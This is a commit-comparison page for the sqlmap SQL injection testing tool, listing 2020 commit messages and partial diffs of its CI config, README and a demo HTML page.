Compare commits

..
266 Commits
Author SHA1 Message Date
Miroslav Stampar 78ba33737e Patch for known NCHAR/UNION-query SQLi problems 2020-12-01 12:16:15 +01:00
Miroslav Stampar c6557e2b45 Minor patches 2020-11-30 23:33:08 +01:00
Miroslav Stampar fa17cfb606 Fixes #4447 2020-11-30 22:25:56 +01:00
Miroslav Stampar 40623e780a Minor patch (--update to work with #pip) 2020-11-27 12:57:16 +01:00
Miroslav Stampar 35862bf4c8 Minor patch 2020-11-27 12:37:56 +01:00
Miroslav Stampar 5d6def425a Trivial cleanup 2020-11-27 12:32:05 +01:00
Miroslav Stampar 7066e7ce97 Trivial update 2020-11-26 23:41:35 +01:00
Miroslav Stampar 8dad7dd12d Trivial update 2020-11-24 14:07:30 +01:00
Miroslav Stampar 6b7c3a2f81 Minor cosmetics 2020-11-20 13:03:15 +01:00
Miroslav Stampar e9b3af6b9a Minor compatibility patch for 'Copy as cURL' browser feature 2020-11-20 12:52:02 +01:00
Miroslav Stampar 194c911433 Another update for #4367 2020-11-16 11:59:17 +01:00
Miroslav Stampar e621d7ec6a Fixes #4423 2020-11-16 10:28:53 +01:00
Miroslav Stampar 854507bc85 Potential fix for #4307 2020-11-13 23:00:26 +01:00
Miroslav Stampar 82eec780a2 Update README.md 2020-11-10 22:36:02 +01:00
Miroslav Stampar de55be3afe Update README.md 2020-11-10 22:10:03 +01:00
Miroslav Stampar 4d2b890a0a Silent bug fix 2020-11-09 23:02:48 +01:00
Miroslav Stampar c243c5fe0d Implementing --skip-heuristics (#4414) 2020-11-09 22:11:11 +01:00
Miroslav Stampar a35fc713a2 Minor patch (AS keyword does not play well in nullCastConcatFields) 2020-11-05 11:20:51 +01:00
Miroslav Stampar 97b7dc585c Patch for #4419 2020-11-05 10:59:36 +01:00
Miroslav Stampar c5a5717add Minor adjustment 2020-11-05 10:12:54 +01:00
Miroslav Stampar fe4e79511a Fixes #4413 2020-11-02 11:15:45 +01:00
Miroslav Stampar 1d5bde9cdf Implementing --live-cookies (Issue #4401) 2020-10-29 13:51:11 +01:00
Miroslav Stampar 227a23f091 Fixes #4408 2020-10-29 12:33:12 +01:00
Miroslav Stampar 0ff3b1ce70 Implemented FOR JSON AUTO in MsSQL 2020-10-28 16:48:11 +01:00
Miroslav Stampar 7e483ffd7a Adding minor note 2020-10-28 14:38:13 +01:00
Miroslav Stampar a5852390f7 Implements ARRAY_AGG for PostgreSQL 2020-10-28 14:36:25 +01:00
Miroslav Stampar 73d0c67a80 Implements #4407 2020-10-28 12:57:25 +01:00
Miroslav Stampar 8e9f7e90c3 Fixes #4404 2020-10-27 15:12:42 +01:00
Miroslav Stampar f6bf331b8f Minor cosmetics 2020-10-27 14:57:12 +01:00
Miroslav Stampar 585645e806 Implements #4403 2020-10-27 14:06:56 +01:00
Miroslav Stampar 673a5afe07 Fixes #4400 2020-10-26 11:21:29 +01:00
Miroslav Stampar c9a8b915c8 Fixes #4398 2020-10-25 17:34:06 +01:00
Miroslav Stampar 9645aaa33f Fixes #4399 2020-10-25 17:11:22 +01:00
Miroslav Stampar e556876fe6 Fixes #4394 2020-10-21 14:58:30 +02:00
Miroslav Stampar 0524670cf9 More generic update for #4199 2020-10-21 14:44:07 +02:00
Miroslav Stampar 96a2c91701 Patch regarding #4199 2020-10-21 14:40:11 +02:00
Miroslav Stampar 5029d67e4f Minor update regarding the #4388 2020-10-20 12:54:22 +02:00
Miroslav Stampar 5af64f5ae4 Minor update 2020-10-20 12:37:07 +02:00
Miroslav Stampar bc981c517b New vuln-test case 2020-10-15 17:20:32 +02:00
Miroslav Stampar 87ad11dffb Fixes #4383 and #4384 2020-10-15 12:11:21 +02:00
Miroslav Stampar 3663fa936b Fixes #4382 2020-10-14 23:04:01 +02:00
Miroslav Stampar 4687383a44 Patch for multiple-Ctrl-C in multiple-target mode 2020-10-14 12:22:56 +02:00
Miroslav Stampar 62cfd47b83 Minor patch 2020-10-14 11:49:58 +02:00
Miroslav Stampar 2bf22df53a Implementing support for piped input of targets 2020-10-14 11:34:52 +02:00
Miroslav Stampar 0585a55ee0 Trivial refactoring for #4379 2020-10-13 11:05:13 +02:00
tree-chtsecandtree babe52eb10 HSQLDB write file support (#4379)
* Make asterisk work with --csrf-token option

* add --file-write support in HSQLDB

Co-authored-by: tree <[email protected]>
2020-10-13 10:56:39 +02:00
Miroslav Stampar 231c3da057 Update for #4380 2020-10-13 10:32:09 +02:00
Miroslav Stampar 13a2ab3fa3 Minor update (drei) 2020-10-05 21:36:30 +02:00
Miroslav Stampar 21cc6e3c99 Potential patch for #4367 2020-10-05 12:45:15 +02:00
Miroslav Stampar a2a73b88ea Fixes #4366 2020-10-05 12:12:06 +02:00
Miroslav Stampar 210a4c3a0a Fixes #4363 2020-10-05 11:35:49 +02:00
Miroslav Stampar 15225668d0 Somebody was fooling around (Issue #4357) 2020-09-28 13:12:59 +02:00
Miroslav Stampar c1bf36b876 Better alternative 2020-09-24 14:57:45 +02:00
Miroslav Stampar 229f89004b Fixes #4355 2020-09-24 14:55:13 +02:00
Miroslav Stampar 443b1f2ed5 ORDER BY required 2020-09-24 14:54:59 +02:00
Miroslav Stampar 60f4520020 Minor update for #4353 2020-09-23 15:29:28 +02:00
Miroslav Stampar 7460b87f1d Update for #4353 2020-09-23 15:22:07 +02:00
Miroslav Stampar 5d08b9004e Minor update 2020-09-21 17:11:11 +02:00
Miroslav Stampar c2b9e539ae Update for #4351 2020-09-21 17:04:54 +02:00
HerendraTJ 3d8eb62a59 Issue Tracker --> Pelacak Masalah. (#4347) 2020-09-18 11:58:29 +02:00
Miroslav Stampar d51e45fd34 Minor update for #4344 2020-09-17 15:26:06 +02:00
Miroslav Stampar 3258e29cf9 Update for #4344 2020-09-17 15:22:50 +02:00
antichownandMiroslav Stampar e0ea1ab5e9 new tamper script (#4344)
* new tamper script

works with time-based queries

* Update sleepgetlock.py

Co-authored-by: Miroslav Stampar <[email protected]>
2020-09-17 15:06:47 +02:00
Miroslav Stampar 192ca02c41 Minor update (more intuitive) 2020-09-16 14:28:32 +02:00
Miroslav Stampar f0bbbb0918 Fixes #4341 2020-09-11 16:28:10 +02:00
Miroslav Stampar f6857d4ee4 Bug fix (304 not modified as original response) 2020-09-11 14:32:25 +02:00
Miroslav Stampar a1342e04a5 Minor update 2020-09-10 16:34:01 +02:00
Miroslav Stampar 7963281c41 Minor update 2020-09-10 16:20:12 +02:00
Miroslav Stampar 715063f0d4 Patching session PY2<->PY3 incompatibility issue 2020-09-09 16:15:23 +02:00
Miroslav Stampar 1658331810 Trivial update 2020-09-09 14:07:13 +02:00
Miroslav Stampar bfe93e20c5 Patch for #4337 2020-09-09 13:58:26 +02:00
Miroslav Stampar bcea050f22 Fixes #4331 2020-09-06 23:32:47 +02:00
Miroslav Stampar c4a692abe3 Patch for #4332 2020-09-06 23:21:12 +02:00
Miroslav Stampar b42b62ae38 Major improvement in Base64 handling (late-binding) 2020-09-04 13:16:50 +02:00
Miroslav Stampar a7f20c1d67 Minor update (base64 stuff) 2020-09-04 12:45:33 +02:00
Miroslav Stampar f781367ac1 Fixes #4328 2020-09-04 10:49:17 +02:00
mkauschiandmanuel 1bec3a953c fix #4325 (#4327)
Co-authored-by: manuel <[email protected]>
2020-09-02 17:07:28 +02:00
Miroslav Stampar 66e07dfab6 Fixes #4322 2020-09-01 15:35:14 +02:00
Miroslav Stampar 226d467f6d Fixes #4321 2020-08-31 22:06:22 +02:00
Miroslav Stampar ea5ae44b6c Minor improvement 2020-08-31 11:55:14 +02:00
Miroslav Stampar 95b9a47c6f Adding support for easier 'decloaking' (AV something something) 2020-08-31 11:34:12 +02:00
Miroslav Stampar e05f65628d Minor update 2020-08-31 11:18:29 +02:00
Miroslav Stampar 609545176f Minor refactoring 2020-08-28 14:46:59 +02:00
Miroslav Stampar 8de4820b24 Minor update 2020-08-28 14:24:43 +02:00
Miroslav Stampar df5fabbbbb Adding couple of doctests 2020-08-24 11:10:13 +02:00
Miroslav Stampar 0c48d0dbec Minor update on request 2020-08-23 22:11:24 +02:00
Miroslav Stampar 5108c2d06c Minor update regarding #4312 2020-08-23 21:16:56 +02:00
Miroslav Stampar 603d602550 Fixes #4313 2020-08-23 20:59:10 +02:00
Miroslav Stampar 907786edb8 Patch for #4314 2020-08-23 20:56:22 +02:00
Miroslav Stampar 85b73f872e Minor patch 2020-08-20 13:54:52 +02:00
Miroslav Stampar a42ec7d9cb Trivial refactoring 2020-08-13 16:22:09 +02:00
tree-chtsec b3f4c6d0fc Make asterisk work with --csrf-token option (#4305) 2020-08-13 16:18:31 +02:00
Miroslav Stampar cec65f3a27 Adding new tamper script 2020-08-12 09:50:04 +02:00
Miroslav Stampar cc79ae69aa Fixes #4303 2020-08-11 15:09:23 +02:00
Miroslav Stampar 5a9dc15cf2 Introduction of --base64-safe 2020-08-10 22:26:03 +02:00
Miroslav Stampar f1fd080ba5 Minor improvement 2020-08-10 21:54:58 +02:00
Miroslav Stampar cfe9fb4f5b Fixes #4301 2020-08-10 21:27:38 +02:00
Miroslav Stampar 7a55c9c145 Trivial update 2020-08-10 21:26:37 +02:00
Miroslav Stampar 4077a359f4 Fixes #4294 2020-08-05 22:43:32 +02:00
Miroslav Stampar 435fd49f1d Trivial update 2020-08-04 10:34:18 +02:00
Miroslav Stampar bcfd9c3f48 Trivial update 2020-08-04 10:27:52 +02:00
Miroslav Stampar 39c320c29b Fixes #4292 2020-08-03 23:23:14 +02:00
Miroslav Stampar b719b9612f Adding new tamper script 2020-07-29 13:40:23 +02:00
Miroslav Stampar 84bc2640d1 Minor adjustment on private request 2020-07-28 12:55:57 +02:00
Miroslav Stampar fced29a242 Fixes #4285 2020-07-28 11:30:47 +02:00
Miroslav Stampar 2e5e958d3f Fixes #4287 2020-07-28 11:22:05 +02:00
Miroslav Stampar 1e30471d3d Minor update 2020-07-28 11:10:15 +02:00
Miroslav Stampar 10b93d753d Adding new tamper script 2020-07-27 14:01:12 +02:00
Miroslav Stampar 1280abc25c Adding some tamper scripts 2020-07-27 13:49:48 +02:00
Miroslav Stampar c47061f25d Update regarding #4281 2020-07-26 20:16:58 +02:00
HerendraTJ 9b871f1093 Spacing (#4279)
Add spacing Basisdata --> Basis data because two words is 100% different in Indonesia language.
2020-07-26 20:06:59 +02:00
Miroslav Stampar 0ba07e93d5 Fixes #4284 2020-07-26 19:34:30 +02:00
Miroslav Stampar ce50acf69d Minor update 2020-07-22 11:25:06 +02:00
Miroslav Stampar 9f0ff27c26 Fixes #4277 2020-07-22 09:57:13 +02:00
Miroslav Stampar ecafac5cd2 Minor cleanup 2020-07-21 22:05:02 +02:00
Miroslav Stampar f39869992c Fixes #4275 2020-07-20 12:43:17 +02:00
Miroslav Stampar e910fc6b8b Some more things regarding #4269 2020-07-16 16:10:13 +02:00
Gustavo 6375f9e506 Fixing an error (#4267)
There was a newline breaking the link:

"[aqui]
(https://github.com/sqlmapproject/sqlmap/tarball/master)"
2020-07-16 14:45:17 +02:00
Miroslav Stampar 8e649dc3f7 Minor patch 2020-07-16 14:42:51 +02:00
Miroslav Stampar a6ce91a3e2 Fixes #4269 2020-07-16 14:30:50 +02:00
Miroslav Stampar 408862b040 Update regarding #4268 2020-07-16 14:22:32 +02:00
Miroslav Stampar fc4dec7291 Fixes #4260 2020-07-15 15:29:35 +02:00
Miroslav Stampar 274a6e62da Patch for #4261 2020-07-15 14:53:35 +02:00
Miroslav Stampar aa7c548376 Fixes #4263 2020-07-15 14:49:16 +02:00
Miroslav Stampar 6b7a1dfd94 Adding new payload (credits: blackfan.ru) 2020-07-10 14:33:45 +02:00
Miroslav Stampar 67f918f6ad Minor update 2020-07-07 11:31:07 +02:00
Miroslav Stampar a65e1faf99 Patch for #4258 2020-07-07 10:41:23 +02:00
Miroslav Stampar ff48e1d820 Minor update (phpass) 2020-07-01 13:04:44 +02:00
Miroslav Stampar 0094f02fb0 Adding support for generic phpass (Wordpress, Drupal, PHPBB3, etc.) (Issue #4252) 2020-07-01 12:46:26 +02:00
Miroslav Stampar 459130196a Minor patch 2020-07-01 11:56:24 +02:00
Miroslav Stampar 0a8a65bc0b Update regarding #4248 2020-06-29 20:29:46 +02:00
Miroslav Stampar 5d370f2fa1 Update regarding the #4243 2020-06-26 11:45:05 +02:00
Miroslav Stampar 1296336e18 Minor cleanup 2020-06-25 15:13:35 +02:00
Miroslav Stampar 75b3736467 Re-implementation for #4243 2020-06-25 15:07:19 +02:00
Miroslav Stampar 282eb7e533 Minor update related to the #4244 2020-06-25 13:48:50 +02:00
Miroslav Stampar f28d82c119 Minor patch related to the #4239 2020-06-25 13:02:56 +02:00
Miroslav Stampar 74603c5530 Fixes #4239 2020-06-25 12:55:10 +02:00
Miroslav Stampar 050700f079 Fixes #4237 2020-06-24 12:05:40 +02:00
Miroslav Stampar 31bf1fc6b6 Update regarding #4239 2020-06-24 11:41:51 +02:00
Miroslav Stampar d4d83b29f0 Drei patch (Issue #4235) 2020-06-17 21:58:10 +02:00
Miroslav Stampar 596fff48ad Fixes #4235 2020-06-17 20:56:50 +02:00
Miroslav Stampar 56ff081314 Up the ante 2020-06-17 20:05:12 +02:00
Miroslav Stampar 69421b4806 Fixes #4231 2020-06-14 22:12:00 +02:00
Miroslav Stampar 3910b86853 Potential patch for #4232 2020-06-14 22:01:49 +02:00
Miroslav Stampar bbdedb39f9 Fixes #4233 2020-06-14 21:23:55 +02:00
Miroslav Stampar d0be782ece Update for #4212 2020-06-10 12:53:22 +02:00
Miroslav Stampar 16c8673e98 Implementation on request (--csrf-retries) 2020-06-10 12:49:35 +02:00
Miroslav Stampar 1dedc36d85 Implementation for #4212 2020-06-10 12:19:52 +02:00
Miroslav Stampar c1d46c95ed Minor correction 2020-06-10 11:53:58 +02:00
Miroslav Stampar d5fc2c9350 Patch for #4227 2020-06-05 17:37:36 +02:00
Miroslav Stampar c28ad8fcd8 Adding boundary for #4221 2020-06-05 17:32:41 +02:00
Miroslav Stampar 2d06543cac Fixes #4220 2020-06-01 03:29:53 +02:00
Miroslav Stampar 6a1e0fb497 Travis CI patch (no more --check-internet) 2020-05-27 18:39:48 +02:00
Miroslav Stampar 5c650e15a9 Still debugging Travis CI issue 2020-05-27 18:30:13 +02:00
Miroslav Stampar c97a814d26 Trying to deal with Travis CI problem 2020-05-27 17:57:38 +02:00
Miroslav Stampar a58d08c7e4 Removing deprecated option 2020-05-27 16:50:16 +02:00
Miroslav Stampar 9c503873ad Minor patch (TravisCI related) 2020-05-27 15:44:44 +02:00
Miroslav Stampar 03dfd6b4d5 Fixes #4214 2020-05-27 15:39:03 +02:00
Miroslav Stampar d5a2ffc8ce Patch for Issue #4211 2020-05-21 22:32:16 +02:00
Miroslav Stampar ddf8b1b198 Fixes #4208 2020-05-20 16:12:19 +02:00
Karim Kanso 9a36357c52 SQLite table dumping compatibility improvements. (#4205)
* Fix sqlite regex for create table to support implicit column types

* Fix sqlite when dumping large tables
2020-05-20 15:35:20 +02:00
Miroslav Stampar 667e4d00f2 Fixes #4204 2020-05-20 15:20:44 +02:00
Miroslav Stampar 788dcbf077 Update of THANKS file 2020-05-20 15:04:31 +02:00
Miroslav Stampar a851dc486a Couple of trivialities 2020-05-15 12:58:03 +02:00
Miroslav Stampar 9077734ec5 Minor update related to last couple of commits 2020-05-14 19:20:16 +02:00
Miroslav Stampar 7b49c46906 Commit as a thank you for the donation 2020-05-14 17:48:07 +02:00
Miroslav Stampar 317bc0f69c Trivial text update 2020-05-14 17:17:34 +02:00
Miroslav Stampar c7bdf27542 Tribute to all the FUBAR h4x0rs around the world (#4183) 2020-05-14 17:15:33 +02:00
Miroslav Stampar b334b6b742 Patch for #4199 2020-05-13 14:18:19 +02:00
Miroslav Stampar aa812effe7 Fixes #4203 2020-05-13 13:45:52 +02:00
Miroslav Stampar 99e2a26a8d Fixes #4202 2020-05-13 12:53:58 +02:00
Miroslav Stampar 01edcbf71d Minor patch (proper exit code-ing) 2020-05-13 12:39:37 +02:00
Miroslav Stampar 0b93311ef2 Fixes #4201 2020-05-13 11:59:59 +02:00
Miroslav Stampar 4f3f43d8bb Further update for #4198 2020-05-11 17:55:48 +02:00
Miroslav Stampar 4582948aac Update regarding #4198 2020-05-11 12:38:54 +02:00
Miroslav Stampar 3729b76c14 Fixes #4194 2020-05-11 11:31:36 +02:00
Miroslav Stampar a8c3d17583 Fixes #4197 2020-05-11 11:13:06 +02:00
Miroslav Stampar 3c36b186ad Mixing some fresh blood (PwnedPasswordTop100k) 2020-05-06 13:28:13 +02:00
Miroslav Stampar 075fa1d4be Minor improvement (bz2 slow, zlib fast) 2020-05-06 13:18:19 +02:00
Miroslav Stampar 5be407edad Patch related to the #4188 2020-05-06 00:36:18 +02:00
Miroslav Stampar 7ab82de80f Minor update (usage of cookie in --eval) 2020-05-05 23:57:15 +02:00
Miroslav Stampar 93399ab1b3 Cleaning of leftover parameter values 2020-05-05 23:50:45 +02:00
Miroslav Stampar 87bccf4aa7 Patch related to the #4187 2020-05-05 23:40:37 +02:00
Miroslav Stampar 1c179674d8 Minor patching (--not-string related) 2020-05-05 13:31:44 +02:00
Miroslav Stampar 7a6433b9ef Proper implementation for #4184 2020-05-04 12:25:46 +02:00
Miroslav Stampar 4e7f0b10d5 Patch related to the #4185 2020-05-04 10:45:39 +02:00
Miroslav Stampar 0351b4a939 Minor patch (CTF related) 2020-05-04 00:06:03 +02:00
Miroslav Stampar 3c93872d53 Update related to the #4182 2020-05-02 13:59:06 +02:00
Miroslav Stampar 881d767df8 Fixes #4181 2020-04-30 16:20:57 +02:00
Miroslav Stampar 1156b53eee Patch for #4178 2020-04-29 14:36:11 +02:00
Miroslav Stampar 5cacf20eb5 Speeding up the post-processing of large dumps 2020-04-27 14:23:47 +02:00
Miroslav Stampar 1825390951 Feeding the OCD 2020-04-26 15:35:34 +02:00
Miroslav Stampar 7815f88027 Patch for #4171 2020-04-26 15:34:27 +02:00
Miroslav Stampar f63a92a272 Another minor patch related to the #4167 2020-04-21 01:26:28 +02:00
Miroslav Stampar e3b3dea46c Patch related to the #4167 2020-04-21 01:21:50 +02:00
Miroslav Stampar 55595edce2 Fixes #4165 2020-04-17 19:29:36 +02:00
Miroslav Stampar aaa0c5c6a8 Minor update 2020-04-15 23:32:15 +02:00
Miroslav Stampar 57bb710ae6 Bug fix (CTF and stuff) 2020-04-08 22:40:23 +02:00
Miroslav Stampar ce9285381d Fixes #4158 2020-04-07 02:07:54 +02:00
Miroslav Stampar dad4879200 Couple of trivial refactorings 2020-04-03 00:16:38 +02:00
Miroslav Stampar 2cba4e2d78 Minor update 2020-03-26 14:58:58 +01:00
Miroslav Stampar 8ec165d688 Fixes #4144 2020-03-19 11:25:12 +01:00
Miroslav Stampar 492fbae7c5 Fixes #4143 2020-03-18 10:17:58 +01:00
Miroslav Stampar a8d81a7962 Fixes #4141 2020-03-17 11:10:52 +01:00
Miroslav Stampar fcb2a6e111 Patch related to the #4137 2020-03-16 17:31:37 +01:00
Miroslav Stampar 2e7333d7c8 Fixes #4133 2020-03-16 16:56:00 +01:00
Miroslav Stampar 5fd2598da0 Fixes #4136 2020-03-12 22:36:12 +01:00
Miroslav Stampar 111201978c Fixes #4131 2020-03-09 10:44:11 +01:00
Miroslav Stampar 41bdb93655 Fixes #4132 2020-03-09 10:30:24 +01:00
Miroslav Stampar 6cd0b1120f Minor update 2020-03-06 12:26:31 +01:00
Miroslav Stampar 97ccf4ca66 Minor patch 2020-03-06 12:21:26 +01:00
Miroslav Stampar 8cc516dc5f Bug fix (wrong coloring in some cases) 2020-03-05 14:02:27 +01:00
Miroslav Stampar 8e39c6fc3d Minor update 2020-03-04 22:55:35 +01:00
Miroslav Stampar d9e540e8b2 Couple of minor patches 2020-03-04 22:43:50 +01:00
Miroslav Stampar e0ad99d534 Trivial refactoring 2020-03-03 14:40:40 +01:00
Miroslav Stampar 5f5ee6ca68 Fixes #4130 2020-03-03 14:35:38 +01:00
Miroslav Stampar 7a5538ab3e Minor just in case patch 2020-03-03 14:32:01 +01:00
Miroslav Stampar 125de093df Adding support for FrontBase 2020-03-02 12:43:12 +01:00
Miroslav Stampar dc6e7321e9 Cleaning something something 2020-02-28 14:55:48 +01:00
Miroslav Stampar 1023da405a More Python 3.9 fixing (can't wait for Python 10.7) 2020-02-28 14:44:27 +01:00
Miroslav Stampar 013af3235e I would die for Python3(.9) 2020-02-28 14:37:37 +01:00
Miroslav Stampar 2a1e812288 Some more Python 3.9 patching 2020-02-28 14:24:50 +01:00
Miroslav Stampar 44b7cc7d17 Travis patch 2020-02-28 14:11:16 +01:00
Miroslav Stampar 60a2d74f2b Fixes #4126 2020-02-28 14:08:43 +01:00
Miroslav Stampar 83fecfc1ba Minor patch 2020-02-27 14:31:43 +01:00
Miroslav Stampar 86c6e3d5fc Minor adjustment 2020-02-26 21:47:10 +01:00
Miroslav Stampar 5eb2263c42 Adding support for eXtremeDB 2020-02-26 17:33:47 +01:00
Miroslav Stampar 7ff77ef052 Adding support for InterSystems Cache (and IRIS) 2020-02-25 12:36:07 +01:00
Miroslav Stampar 5c82f30fd8 Trivial update 2020-02-18 10:00:23 +01:00
Miroslav Stampar 3f17dc4747 Fixes #4113 2020-02-17 13:48:22 +01:00
Miroslav Stampar e1502e0cea Fixes #4118 2020-02-17 12:24:23 +01:00
Miroslav Stampar c3fe9a0d47 Fixes #4116 2020-02-17 11:50:37 +01:00
Miroslav Stampar f8b2cb5a0a Fixes #4115 2020-02-17 11:43:12 +01:00
Miroslav Stampar 597013477d Minor update 2020-02-13 14:24:53 +01:00
Miroslav Stampar 0453a2827c Couple of patches 2020-02-12 16:21:09 +01:00
Miroslav Stampar 0605f14d87 Couple of fixes for SAP MaxDB 2020-02-11 15:33:17 +01:00
Miroslav Stampar 176e89d978 Minor update 2020-02-10 17:35:38 +01:00
Miroslav Stampar b7cdcebcea Minor patch for HSQLDB 2020-02-10 17:22:36 +01:00
Miroslav Stampar 1fb1a05a78 Couple of patches (CockroachDB, Drizzle, Firebird related) 2020-02-10 16:22:58 +01:00
Miroslav Stampar 2d48b8effa Minor update 2020-02-10 12:57:04 +01:00
Miroslav Stampar 4ef9557ccd Minor update 2020-02-07 16:33:22 +01:00
Miroslav Stampar 3513ca66fe Minor beautification 2020-02-07 14:26:01 +01:00
Miroslav Stampar 6467c63c24 Patch for couple of bugs found during bed-testing 2020-02-07 14:02:45 +01:00
Miroslav Stampar f19f38d1d5 Fixes #4102 2020-02-07 10:12:33 +01:00
Miroslav Stampar a0b279848d Trivial update 2020-02-07 00:30:02 +01:00
Miroslav Stampar ec80009812 Minor refactoring 2020-02-07 00:06:09 +01:00
Miroslav Stampar 19e08416b5 Should fix broken Travis 2020-02-06 22:52:45 +01:00
Miroslav Stampar 6825bf85a4 Debugging broken Travis (2) 2020-02-06 22:44:37 +01:00
Miroslav Stampar 4fa39f4539 Debugging broken Travis 2020-02-06 22:34:59 +01:00
Miroslav Stampar a989e1abfe Minor refactoring 2020-02-06 22:15:31 +01:00
Miroslav Stampar c71bdf5c9e Minor 'patch' for #4095 2020-02-06 14:26:42 +01:00
Miroslav Stampar 1b92acc033 Fixes #4105 2020-02-06 14:20:33 +01:00
Miroslav Stampar f968b23f63 Minor update 2020-02-06 14:17:14 +01:00
Miroslav Stampar 5f39016af7 Adding recognition of Amazon Aurora forks 2020-02-03 22:11:19 +01:00
Miroslav Stampar 1dd400f93d Minor patch 2020-02-03 16:54:00 +01:00
Miroslav Stampar feb1df6a05 Adding support for Apache Ignite (H2 fork) 2020-02-03 13:47:31 +01:00
Miroslav Stampar 4772a9243a Minor update 2020-02-03 11:52:42 +01:00
Miroslav Stampar 8649021b78 Adding support for Drizzle (MySQL fork) 2020-02-03 11:46:03 +01:00
Miroslav Stampar 9d6c931faa Finalizing support for Cubrid 2020-02-03 11:33:19 +01:00
Miroslav Stampar 264a270985 Adding initial support for Cubrid 2020-02-03 01:58:12 +01:00
Miroslav Stampar 4278bbce11 Patch for sporadic --parse-errors in generic SQL errors (e.g. CrateDB) 2020-02-02 22:01:57 +01:00
Miroslav Stampar db126af86a Minor generalization for special cases 2020-02-02 21:07:53 +01:00
Miroslav Stampar 18b72e605a Trivial update 2020-02-02 14:59:13 +01:00
Miroslav Stampar 0e4232f533 Adding support for CrateDB 2020-02-02 14:51:24 +01:00
Miroslav Stampar e448905eb1 Fixes #4085 2020-02-01 15:30:01 +01:00
Miroslav Stampar ee7aa68da8 Trivial patch for #4099 2020-02-01 14:39:11 +01:00
199 changed files with 9716 additions and 1394 deletions
+2 -3
View File
@@ -9,9 +9,8 @@ jobs:
dist: trusty
- python: 3.6
dist: trusty
- python: 3.8
dist: xenial
sudo: false
- python: 3.9-dev
dist: bionic
git:
depth: 1
script:
+2 -2
View File
@@ -4,7 +4,7 @@
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
**The sqlmap project is currently searching for sponsor(s).**
**sqlmap is sponsored by [SpyderSec](https://spydersec.com/).**
Screenshots
----
@@ -64,7 +64,7 @@ Translations
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-FA.md)
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
+147 -146
View File
@@ -1,150 +1,151 @@
<!DOCTYPE html>
<!DOCTYPE html>
<!-- http://angrytools.com/bootstrap/editor/ -->
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head>
<body>
<style>
#wrapper { width: 100%; }
#page-wrapper {
padding: 0 15px;
min-height: 568px;
background-color: #fff;
}
@media(min-width:768px) {
#page-wrapper {
position: inherit;
margin: 0 0 0 250px;
padding: 0 30px;
border-left: 1px solid #e7e7e7;
}
}
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
.sidebar .sidebar-search { padding: 15px; }
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
.sidebar ul li a.active { background-color: #eee; }
.sidebar .arrow { float: right;}
.sidebar .fa.arrow:before { content: "f104";}
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
.sidebar .nav-second-level li,
.sidebar .nav-third-level li {
border-bottom: 0!important;
}
.sidebar .nav-second-level li a { padding-left: 37px; }
.sidebar .nav-third-level li a { padding-left: 52px; }
@media(min-width:768px) {
.sidebar {
z-index: 1;
position: absolute;
width: 250px;
margin-top: 51px;
}
}
</style>
<div id="wrapper">
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="index.html">sqlmap</a>
</div>
<div class="navbar-default sidebar" role="navigation">
<div class="sidebar-nav navbar-collapse">
<ul class="nav" id="side-menu">
<li>
<a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
<ul class="nav nav-second-level">
<li><a>Target</a></li>
<li><a>Request</a></li>
<li><a>Optimization</a></li>
<li><a>Injection</a></li>
<li><a>Detection</a></li>
<li><a>Techniques</a></li>
<li><a>Fingerprint</a></li>
<li><a>Enumeration</a></li>
<li><a>Brute force</a></li>
<li><a>User-defined function injection</a></li>
<li><a>File system access</a></li>
<li><a>Operating system access</a></li>
<li><a>Windows registry access</a></li>
<li><a>General</a></li>
<li><a>Miscellaneous</a></li>
</ul>
</li>
</ul>
</div>
</div>
</nav>
<div id="page-wrapper">
<div class="row">
<h4>DEMO</h4>
</div>
</div>
</div>
<script>
/*
* metismenu - v1.0.3
* Easy menu jQuery plugin for Twitter Bootstrap 3
* https://github.com/onokumus/metisMenu
*
* Made by Osman Nuri Okumuş
* Under MIT License
*/
